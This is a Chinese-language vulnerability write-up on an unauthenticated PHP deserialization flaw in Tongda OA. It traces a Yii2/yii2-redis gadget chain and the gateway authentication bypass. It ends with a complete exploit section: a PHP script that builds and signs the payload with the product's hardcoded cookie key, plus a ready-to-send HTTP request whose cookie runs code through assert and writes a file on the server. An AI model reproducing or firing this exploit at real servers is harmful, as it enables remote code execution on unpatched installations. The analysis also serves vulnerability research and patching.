通达OA反序列化分析
0x01 环境搭建
这个漏洞最关键的还是链子,首先通达OA使用的是Yii2.0.13版本,使用了Yii-redis组件
使用的Yii版本在\inc\vendor\yii2\yiisoft\yii2\BaseYii.php里面能看到
Yii-redis的版本在\inc\vendor\yii2\yiisoft\extensions.php里面可以看到为2.0.6
https://github.com/yiisoft/yii2/releases/tag/2.0.13
https://github.com/yiisoft/yii2-redis/releases/tag/2.0.6
下载到对应的源码
直接用phpstudy,下载好的Yii源码直接解压到网站目录下
首先是Yii的配置,需要修改\config\web.php中的cookieValidationKey值,随便改一个就好
在通达OA里面这个值为tdide2后续会用到记住就好
然后将Yii-redis解压到\vendor\yiisoft\yii2\redis下面
然后配置\vendor\yiisoft\extensions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
$vendorDir = dirname(__DIR__);
return array ( 'yiisoft/yii2/redis' => array ( 'name' => 'yiisoft/yii2/redis', 'version' => '2.0.6', 'alias' => array ( '@yii/redis' => $vendorDir . '/yiisoft/yii2/redis', ), ), 'yiisoft/yii2-swiftmailer' => array ( 'name' => 'yiisoft/yii2-swiftmailer', 'version' => '2.0.7.0', 'alias' => array ( '@yii/swiftmailer' => $vendorDir . '/yiisoft/yii2-swiftmailer', ), ), );
|
可以在控制器里面加一个反序列化的口子用来调试
创建\controllers\TestController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller { private $_events = ["beforeAction"=>"0"]; public function actionIndex() { $un = $_GET["un"]; $a = unserialize($un); return "poc"; }
public function actionPhp() { echo "php"; } }
|
http://127.0.0.1:8081/index.php?r=test%252Findex&un=…
这样就能debug了
到这里配置就完成了
0x02 反序列化链
在分析文章中exp没有全部打码,还是能看到一些信息的,比如使用了redisCommands属性
根据这个来找很容易就能知道这条链使用了Connection.php里面的类
接下来就是看看怎么走通了
可能有些师傅没看过Yii反序列化的链子所以这里从头讲起
注意下载的Yii的vendor下面有很多别的类,但是在通达里面都是没有的,这也是网上的链条用不了的原因
触发点为\vendor\yiisoft\yii2\db\BatchQueryResult.php里面的__destruct方法
这也是很多低版本Yii反序列化开始的点
触发__destruct方法调用reset函数
$this->_dataReader可控,该参数不为null调用该参数的close函数
这里可以找有close方法的类,也可以找__call方法
这里先找有close方法的类
找到\vendor\yiisoft\yii2\db\DataReader.php的close方法
1 2 3 4 5
| public function close() { $this->_statement->closeCursor(); $this->_closed = true; }
|
$this->_statement调用closeCursor()这次找__call方法
选择redis里的Connection.php类的__call方法
1 2 3 4 5 6 7 8 9
| public function __call($name, $params) { $redisCommand = strtoupper(Inflector::camel2words($name, false)); if (in_array($redisCommand, $this->redisCommands)) { return $this->executeCommand($redisCommand, $params); } else { return parent::__call($name, $params); } }
|
因为Connection.php也存在close方法所以不能直接到这里
看代码得知先经过一个方法得到$redisCommand
然后判断$redisCommand是否在$this->redisCommands数组里
先看看$redisCommand的值是什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static function camel2words($name, $ucwords = true) { $label = strtolower(trim(str_replace([ '-', '_', '.', ], ' ', preg_replace('/(?<![A-Z])[A-Z]/', ' \0', $name))));
return $ucwords ? ucwords($label) : $label; }
|
出来后又全大写变成CLOSE CURSOR
所以$this->redisCommands = [“CLOSE CURSOR”];
绕过这个判断执行到executeCommand方法
第一步走到open方法
第一个判断需要$this->_socket=false
接下来是一个拼接字符串,这里可以去找__toString可是没找到好用的
然后stream_socket_client打开连接
这里$this->unixSocket要为false,因为通达OA都是windows的不能使用unix协议,连接失败返回false就走不下去了,当然不用特意写,unixSocket为空本身就是false
后面的$this->hostname自带的值为localhost
$this->port需要指定一下,写一个能通的端口就行,windows有些默认开着的端口可以利用一下
连接成功走过下一个判断
dataTimeout,password,database都不要填写,不需要走进这些判断
直接走到initConnection()
1 2 3 4 5
| protected function initConnection() { $this->trigger(self::EVENT_AFTER_OPEN); }
|
再看trigger,该方法在父类Component里面
看到了call_user_func应该就是这里了
ensureBehaviors方法不需要看没有影响
$this->_events[$name]需要不为空
这里的$name是self::EVENT_AFTER_OPEN
$this->_events是Component类的不要和前面看混了
所以$this->_events[“afterOpen”]需要有值,至于是什么值还要往下看
直接看到foreach循环$this->_events[“afterOpen”]内容,所以值需要为数组
取出的值取元素所以是数组里面还要数组
$handler[0]在指定调用什么函数,低版本yii直接去找\vendor\yiisoft\yii2\rest\CreateAction.php的run方法
最上面的call_user_func的参数都可控实现代码执行
1
| $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "run"]]];
|
链子到这里就结束了,头和尾和普通的链子是一样的,中间用了redis组件,好在作者打码少得到了中间利用的类
调用栈
0x03 漏洞分析
漏洞地址是http://ip/general/appbuilder/web/portal/gateway/?
先看这个文件\general\appbuilder\web\index.php
该段代码会先获取url
用?截取url,检查url字符串是否存在/portal/有则走到第一个判断
如果没有/gateway/,/gateway/saveportal,edit,返回首页
漏洞地址正好满足这些要求,可以绕过鉴权,显示Yii默认的view
位置在\general\appbuilder\views\layouts\main.php
视图代码中有csrfMetaTags方法
因为这里是zend解密后的代码,所以看起来有怪,该方法是Yii自带的方法,如果需要调试可以直接拿Yii来调
找到csrfMetaTags方法
该方法在\inc\vendor\yii2\yiisoft\yii2\helpers\BaseHtml.php
里面又调用了getCsrfToken方法,该方法在\inc\vendor\yii2\yiisoft\yii2\web\Request.php
1 2 3 4 5 6 7 8 9 10 11 12
| public function getCsrfToken($regenerate) { if (($this->_csrfToken === web\null) || $regenerate) { if ($regenerate || (($token = $this->loadCsrfToken()) === web\null)) { $token = $this->generateCsrfToken(); }
$this->_csrfToken = Yii::$app->security->maskToken($token); }
return $this->_csrfToken; }
|
里面调用了loadCsrfToken方法
1 2 3 4 5 6 7 8
| protected function loadCsrfToken() { if ($this->enableCsrfCookie) { return $this->getCookies()->getValue($this->csrfParam); }
return Yii::$app->getSession()->get($this->csrfParam); }
|
再调用getCookies方法
1 2 3 4 5 6 7 8
| public function getCookies() { if ($this->_cookies === web\null) { $this->_cookies = new web\CookieCollection($this->loadCookies(), array("readOnly" => web\true)); }
return $this->_cookies; }
|
最后调用了loadCookies方法
反序列化点就在这里,方法前面有什么web不用管因为是解密出来的,直接去Yii看就是正常的
注意传进来的$data需要经过validateData方法
该方法在\inc\vendor\yii2\yiisoft\yii2\base\Security.php
因为这个方法需要看一下所以就去Yii里面拿了
这里本意应该是防止csrf的,所以传进来的值是实际上是hash+序列化值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public function validateData($data, $key, $rawHash = false) { $test = @hash_hmac($this->macHash, '', '', $rawHash); if (!$test) { throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash); } $hashLength = StringHelper::byteLength($test); if (StringHelper::byteLength($data) >= $hashLength) { $hash = StringHelper::byteSubstr($data, 0, $hashLength); $pureData = StringHelper::byteSubstr($data, $hashLength, null);
$calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);
if ($this->compareString($hash, $calculatedHash)) { return $pureData; } }
return false; }
|
再看到上面$data不为false就执行反序列化触发漏洞
通达OA是全局变量过滤的,反序列化的payload里面会有双引号要被转义,这是需要解决的问题
相关代码在\inc\common.inc.php
好在代码里可以看到_GET这些是不经过addslashes函数的,只要取这些当作参数就可以绕过了
0x04 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| <?php
namespace yii\rest{ class CreateAction{ public $checkAccess; public $id;
public function __construct() { $this->checkAccess = "assert"; $this->id = "file_put_contents('a.php','TONGDA')"; } } }
namespace yii\base{
use yii\rest\CreateAction; class Component{ private $_events = []; public function __construct() { $this->_events = ["afterOpen" => [[[new CreateAction(), "run"], "run"]]]; } } }
namespace yii\redis{ use yii\base\Component; class Connection extends Component{ public $redisCommands; public $database = null; public $port = 0; private $_socket = false;
public function __construct() { $this->redisCommands = ["CLOSE CURSOR"]; $this->database = null; $this->port = 80; parent::__construct();
} } }
namespace yii\db{
use yii\redis\Connection; class DataReader{ private $_statement;
public function __construct() { $this->_statement = new Connection(); } } class BatchQueryResult{ private $_dataReader;
public function __construct() { $this->_dataReader = new DataReader(); } } }
namespace { use yii\db\BatchQueryResult; $data = serialize(new BatchQueryResult()); $crypt = hash_hmac("sha256",$data,"tdide2",false); $data = urlencode($data); $payload = $crypt . $data; echo $payload; }
|
数据包
1 2 3 4 5 6 7 8 9 10 11
| GET /general/appbuilder/web/portal/gateway/? HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: _GET=30c8273d6cc86774871722e1b893260ca17813f62cf627a5e1dd1a342861e00eO%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A5%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22database%22%3BN%3Bs%3A4%3A%22port%22%3Bi%3A80%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3Bs%3A2%3A%22id%22%3Bs%3A35%3A%22file_put_contents%28%27a.php%27%2C%27TONGDA%27%29%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache
|
访问http://ip/general/appbuilder/web/a.php存在漏洞利用成功
0x05 参考
https://www.ctfiot.com/128812.html